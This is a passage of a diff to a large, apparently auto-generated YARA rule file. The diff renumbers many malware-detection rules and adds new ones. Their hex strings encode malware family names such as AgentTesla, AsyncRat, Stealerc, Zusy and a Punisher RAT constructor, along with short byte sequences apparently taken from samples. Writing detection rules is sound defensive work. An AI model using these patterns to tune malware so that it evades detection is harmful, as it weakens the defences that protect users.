00 01 00 21 " @@ -31259,7 +31769,7 @@ rule _InfrastructureShared_3024{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3025{ +rule _InfrastructureShared_3073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31269,7 +31779,7 @@ rule _InfrastructureShared_3025{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3026{ +rule _InfrastructureShared_3074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31279,7 +31789,7 @@ rule _InfrastructureShared_3026{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3027{ +rule _InfrastructureShared_3075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31289,7 +31799,7 @@ rule _InfrastructureShared_3027{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3028{ +rule _InfrastructureShared_3076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31299,7 +31809,7 @@ rule _InfrastructureShared_3028{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3029{ +rule _InfrastructureShared_3077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31309,7 +31819,7 @@ rule _InfrastructureShared_3029{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3030{ +rule _InfrastructureShared_3078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31319,7 +31829,7 @@ rule _InfrastructureShared_3030{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3031{ +rule _InfrastructureShared_3079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31329,7 +31839,7 @@ rule _InfrastructureShared_3031{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3032{ +rule _InfrastructureShared_3080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31339,7 +31849,7 @@ rule _InfrastructureShared_3032{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3033{ +rule _InfrastructureShared_3081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31349,7 +31859,7 @@ rule _InfrastructureShared_3033{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3034{ +rule _InfrastructureShared_3082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31359,7 +31869,7 @@ rule _InfrastructureShared_3034{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3035{ +rule _InfrastructureShared_3083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31369,7 +31879,7 @@ rule _InfrastructureShared_3035{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3036{ +rule _InfrastructureShared_3084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31379,7 +31889,7 @@ rule _InfrastructureShared_3036{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3037{ +rule _InfrastructureShared_3085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31389,7 +31899,7 @@ rule _InfrastructureShared_3037{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3038{ +rule _InfrastructureShared_3086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31399,7 +31909,7 @@ rule _InfrastructureShared_3038{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3039{ +rule _InfrastructureShared_3087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31409,7 +31919,7 @@ rule _InfrastructureShared_3039{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3040{ +rule _InfrastructureShared_3088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31419,7 +31929,7 @@ rule _InfrastructureShared_3040{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3041{ +rule _InfrastructureShared_3089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31429,7 +31939,7 @@ rule _InfrastructureShared_3041{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3042{ +rule _InfrastructureShared_3090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31439,7 +31949,7 @@ rule _InfrastructureShared_3042{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3043{ +rule _InfrastructureShared_3091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31449,7 +31959,7 @@ rule _InfrastructureShared_3043{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3044{ +rule _InfrastructureShared_3092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31459,7 +31969,7 @@ rule _InfrastructureShared_3044{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3045{ +rule _InfrastructureShared_3093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31469,7 +31979,7 @@ rule _InfrastructureShared_3045{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3046{ +rule _InfrastructureShared_3094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31479,7 +31989,7 @@ rule _InfrastructureShared_3046{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3047{ +rule _InfrastructureShared_3095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31489,7 +31999,7 @@ rule _InfrastructureShared_3047{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3048{ +rule _InfrastructureShared_3096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31499,7 +32009,7 @@ rule _InfrastructureShared_3048{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3049{ +rule _InfrastructureShared_3097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31509,7 +32019,7 @@ rule _InfrastructureShared_3049{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3050{ +rule _InfrastructureShared_3098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31519,7 +32029,7 @@ rule _InfrastructureShared_3050{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3051{ +rule _InfrastructureShared_3099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31529,7 +32039,7 @@ rule _InfrastructureShared_3051{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3052{ +rule _InfrastructureShared_3100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31539,7 +32049,7 @@ rule _InfrastructureShared_3052{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3053{ +rule _InfrastructureShared_3101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31549,7 +32059,7 @@ rule _InfrastructureShared_3053{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3054{ +rule _InfrastructureShared_3102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31559,17 +32069,37 @@ rule _InfrastructureShared_3054{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3055{ +rule _InfrastructureShared_3103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_53_0 = {57 69 6e 33 32 2f 5a 62 6f 74 2e 4d 54 21 4d 54 42 00 01 00 24 02 33 c5 89 45 90 01 01 8b 45 90 01 01 53 56 8b 75 90 01 01 33 db 57 8b 7d 90 09 0b 00 81 ec 90 01 04 a1 90 00 00 00 78 48 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //20515 + $a_53_0 = {57 69 6e 33 32 2f 5a 62 6f 74 2e 4d 54 21 4d 54 42 00 01 00 24 02 33 c5 89 45 90 01 01 8b 45 90 01 01 53 56 8b 75 90 01 01 33 db 57 8b 7d 90 09 0b 00 81 ec 90 01 04 a1 90 00 00 00 78 48 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 4c 75 6d 6d 61 50 4e 47 2e 53 54 } //20515 condition: ((#a_53_0 & 1)*20515) >=1 } -rule _InfrastructureShared_3056{ +rule _InfrastructureShared_3104{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {4c 75 6d 6d 61 50 4e 47 2e 53 54 58 00 01 00 29 01 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 49 44 41 54 00 00 78 48 00 00 01 00 01 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3105{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 4e 21 4d 54 42 00 01 00 18 01 04 17 da 17 d6 8d 70 00 00 01 13 04 1e 13 0d 2b b0 16 6a 13 05 1a 13 0d 00 00 78 48 00 00 01 00 01 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31579,7 +32109,17 @@ rule _InfrastructureShared_3056{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3057{ +rule _InfrastructureShared_3107{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 58 21 4d 54 42 00 01 00 1a 01 17 59 7e 23 00 00 04 1f 66 95 5f 7e 23 00 00 04 1f 1a 95 61 59 80 17 00 00 04 00 00 78 48 00 00 01 00 01 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31589,7 +32129,27 @@ rule _InfrastructureShared_3057{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3058{ +rule _InfrastructureShared_3109{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 63 2e 41 49 41 4c 21 4d 54 42 00 01 00 18 03 5f d2 61 d2 81 90 01 01 00 00 01 16 13 0e 38 90 01 04 11 06 17 58 90 00 00 00 78 48 00 00 01 00 01 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3110{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 62 73 69 64 69 75 6d 2e 41 44 21 4d 54 42 00 01 00 19 01 34 91 ab 19 61 a9 d4 a6 7b 62 09 b2 b1 32 2c 61 26 41 fb 56 9e 1c b2 33 1d 00 00 78 48 00 00 01 00 01 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31599,7 +32159,17 @@ rule _InfrastructureShared_3058{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3059{ +rule _InfrastructureShared_3112{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 41 44 21 4d 54 42 00 01 00 1d 01 8b 45 f4 89 c1 83 c1 01 c1 f9 1f c1 e9 18 8d 0c 08 83 c1 01 81 e1 00 ff ff ff f7 d9 8d 00 00 78 48 00 00 01 00 01 00 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31609,7 +32179,7 @@ rule _InfrastructureShared_3059{ ((#a_6f_0 & 1)*23075) >=1 } -rule _InfrastructureShared_3060{ +rule _InfrastructureShared_3114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31619,7 +32189,7 @@ rule _InfrastructureShared_3060{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3061{ +rule _InfrastructureShared_3115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31629,7 +32199,7 @@ rule _InfrastructureShared_3061{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3062{ +rule _InfrastructureShared_3116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31639,7 +32209,7 @@ rule _InfrastructureShared_3062{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3063{ +rule _InfrastructureShared_3117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31649,7 +32219,7 @@ rule _InfrastructureShared_3063{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3064{ +rule _InfrastructureShared_3118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31659,7 +32229,7 @@ rule _InfrastructureShared_3064{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3065{ +rule _InfrastructureShared_3119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -31670,40 +32240,70 @@ rule _InfrastructureShared_3065{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*20538) >=1 } -rule _InfrastructureShared_3066{ +rule _InfrastructureShared_3120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_77_0 = {69 3a 47 61 74 61 6b 3a 50 61 63 6b 65 72 00 01 00 12 03 eb 00 8b 45 90 01 01 85 c0 0f 85 90 01 04 eb 00 90 00 01 00 11 03 eb 00 8b 45 90 01 01 85 c0 75 90 01 01 eb 00 90 00 00 00 78 48 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 45 43 31 00 01 00 0b 01 0f b6 32 31 c6 89 f0 88 c1 88 0a 01 00 0b 01 0f b6 31 } //19491 - $a_f0_1 = {c2 88 11 01 00 0b 01 0f b6 31 31 c6 89 f0 88 c3 88 19 00 00 78 48 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 74 65 2e 41 4d 4d 43 21 4d 54 42 00 02 00 1b 01 02 08 02 08 91 06 61 04 07 91 61 d2 9c 02 08 91 0a 07 17 58 05 5d 0b 08 17 58 0c 00 00 78 48 00 00 02 00 02 00 01 00 21 23 4c 6f 77 66 69 3a 54 72 6f 6a 61 6e 3a 4d 69 75 72 65 66 2e 46 00 02 00 24 03 8b c7 99 } //-14799 + $a_f0_1 = {c2 88 11 01 00 0b 01 0f b6 31 31 c6 89 f0 88 c3 88 19 00 00 78 48 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 74 65 2e 41 4d 4d 43 21 4d 54 42 00 02 00 1b 01 02 08 02 08 91 06 61 04 07 91 61 d2 9c 02 08 91 0a 07 17 58 05 5d 0b 08 17 58 0c 00 00 78 48 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6e 6a 75 6b 65 2e 45 4e 41 51 21 } //-14799 condition: ((#a_77_0 & 1)*19491+(#a_f0_1 & 1)*-14799) >=1 } -rule _InfrastructureShared_3067{ +rule _InfrastructureShared_3121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 4e 69 76 64 6f 72 74 2e 45 43 31 00 01 00 0b 01 0f b6 32 31 c6 89 f0 88 c1 88 0a 01 00 0b 01 0f b6 31 31 c6 89 f0 88 c2 88 11 01 00 0b 01 0f b6 31 31 c6 89 f0 88 c3 88 19 00 00 78 48 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //18467 - $a_4c_1 = {4d 61 72 74 65 2e 41 4d 4d 43 21 4d 54 42 00 02 00 1b 01 02 08 02 08 91 06 61 04 07 91 61 d2 9c 02 08 91 0a 07 17 58 05 5d 0b 08 17 58 0c 00 00 78 48 00 00 02 00 02 00 01 00 21 23 4c 6f 77 66 69 3a 54 72 6f 6a 61 6e 3a } //21325 - $a_72_2 = {66 2e 46 00 02 00 24 03 8b c7 99 83 e2 03 03 c2 8b 54 90 01 02 c1 f8 02 0f af 44 90 01 02 0f af 44 90 01 02 03 c7 8a c8 32 0a 90 00 00 00 78 48 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 43 6f 6e 73 74 72 75 63 74 6f 72 3a 57 69 6e 33 32 2f 50 75 6e 69 73 68 65 72 2e 41 21 52 41 54 00 01 00 0c 01 50 75 6e 69 73 68 65 72 20 52 41 54 01 00 05 01 52 61 } //26957 + $a_4c_1 = {4d 61 72 74 65 2e 41 4d 4d 43 21 4d 54 42 00 02 00 1b 01 02 08 02 08 91 06 61 04 07 91 61 d2 9c 02 08 91 0a 07 17 58 05 5d 0b 08 17 58 0c 00 00 78 48 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //21325 + $a_2f_2 = {6e 6a 75 6b 65 2e 45 4e 41 51 21 4d 54 42 00 02 00 19 01 03 d0 0f b6 c2 8b 55 08 0f b6 04 08 32 44 3a ff 8b 91 04 01 00 00 88 47 ff 00 00 78 48 00 00 } //13166 condition: - ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*21325+(#a_72_2 & 1)*26957) >=1 + ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*21325+(#a_2f_2 & 1)*13166) >=1 } -rule _InfrastructureShared_3068{ +rule _InfrastructureShared_3122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 74 65 2e 41 4d 4d 43 21 4d 54 42 00 02 00 1b 01 02 08 02 08 91 06 61 04 07 91 61 d2 9c 02 08 91 0a 07 17 58 05 5d 0b 08 17 58 0c 00 00 78 48 00 00 02 00 02 00 01 00 21 23 4c 6f 77 66 } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 74 65 2e 41 4d 4d 43 21 4d 54 42 00 02 00 1b 01 02 08 02 08 91 06 61 04 07 91 61 d2 9c 02 08 91 0a 07 17 58 05 5d 0b 08 17 58 0c 00 00 78 48 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a } //16675 condition: ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3069{ +rule _InfrastructureShared_3123{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6e 6a 75 6b 65 2e 45 4e 41 51 21 4d 54 42 00 02 00 19 01 03 d0 0f b6 c2 8b 55 08 0f b6 04 08 32 44 3a ff 8b 91 04 01 00 00 88 47 ff 00 00 78 48 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_3124{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 45 48 51 21 4d 54 42 00 02 00 1a 01 d1 ef 33 bc 81 b0 f2 ff ff 31 df 89 bc 81 3c f6 ff ff 40 89 d6 3d e1 04 00 00 00 00 78 48 00 00 02 00 02 00 01 00 21 23 48 53 54 52 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_3125{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 61 74 2e 43 48 21 4d 54 42 00 02 00 19 01 06 07 02 07 91 03 07 03 8e 69 5d 91 61 d2 9c 07 17 58 0b 07 02 8e 69 32 e7 00 00 78 48 00 00 02 00 02 00 01 00 21 23 4c 6f 77 66 69 3a 54 72 6f 6a 61 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=2 + +} +rule _InfrastructureShared_3126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -31713,7 +32313,7 @@ rule _InfrastructureShared_3069{ ((#a_77_0 & 1)*19491) >=2 } -rule _InfrastructureShared_3070{ +rule _InfrastructureShared_3127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -31724,7 +32324,7 @@ rule _InfrastructureShared_3070{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*21320) >=2 } -rule _InfrastructureShared_3071{ +rule _InfrastructureShared_3128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -31735,7 +32335,7 @@ rule _InfrastructureShared_3071{ ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*29268) >=2 } -rule _InfrastructureShared_3072{ +rule _InfrastructureShared_3129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -31746,7 +32346,7 @@ rule _InfrastructureShared_3072{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*12889) >=2 } -rule _InfrastructureShared_3073{ +rule _InfrastructureShared_3130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -31757,7 +32357,7 @@ rule _InfrastructureShared_3073{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*19770) >=2 } -rule _InfrastructureShared_3074{ +rule _InfrastructureShared_3131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -31768,7 +32368,7 @@ rule _InfrastructureShared_3074{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*31077) >=2 } -rule _InfrastructureShared_3075{ +rule _InfrastructureShared_3132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -31779,7 +32379,7 @@ rule _InfrastructureShared_3075{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26210) >=2 } -rule _InfrastructureShared_3076{ +rule _InfrastructureShared_3133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -31790,7 +32390,7 @@ rule _InfrastructureShared_3076{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*25968) >=2 } -rule _InfrastructureShared_3077{ +rule _InfrastructureShared_3134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -31801,7 +32401,7 @@ rule _InfrastructureShared_3077{ ((#a_4c_0 & 1)*21539+(#a_54_1 & 1)*8448) >=2 } -rule _InfrastructureShared_3078{ +rule _InfrastructureShared_3135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -31812,7 +32412,7 @@ rule _InfrastructureShared_3078{ ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*8448) >=2 } -rule _InfrastructureShared_3079{ +rule _InfrastructureShared_3136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -31823,7 +32423,7 @@ rule _InfrastructureShared_3079{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*17763) >=2 } -rule _InfrastructureShared_3080{ +rule _InfrastructureShared_3137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -31835,7 +32435,7 @@ rule _InfrastructureShared_3080{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29300+(#a_2e_2 & 1)*26978) >=3 } -rule _InfrastructureShared_3081{ +rule _InfrastructureShared_3138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -31847,7 +32447,7 @@ rule _InfrastructureShared_3081{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*13166+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_3082{ +rule _InfrastructureShared_3139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -31859,7 +32459,7 @@ rule _InfrastructureShared_3082{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*21325+(#a_2f_2 & 1)*13166) >=3 } -rule _InfrastructureShared_3083{ +rule _InfrastructureShared_3140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -31869,7 +32469,7 @@ rule _InfrastructureShared_3083{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3084{ +rule _InfrastructureShared_3141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -31879,7 +32479,7 @@ rule _InfrastructureShared_3084{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3085{ +rule _InfrastructureShared_3142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -31889,7 +32489,7 @@ rule _InfrastructureShared_3085{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_3086{ +rule _InfrastructureShared_3143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -31900,28 +32500,38 @@ rule _InfrastructureShared_3086{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*21562) >=5 } -rule _InfrastructureShared_3087{ +rule _InfrastructureShared_3144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 42 55 21 4d 54 42 00 04 00 10 01 89 ca 83 f2 fe 83 c9 01 21 ca 01 d1 83 f9 04 72 01 00 06 01 55 53 57 56 81 ec 00 00 78 48 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //18467 - $a_6e_1 = {32 2f 49 6e 6a 65 63 74 6f 72 2e 42 41 21 4d 54 42 00 0a 00 18 03 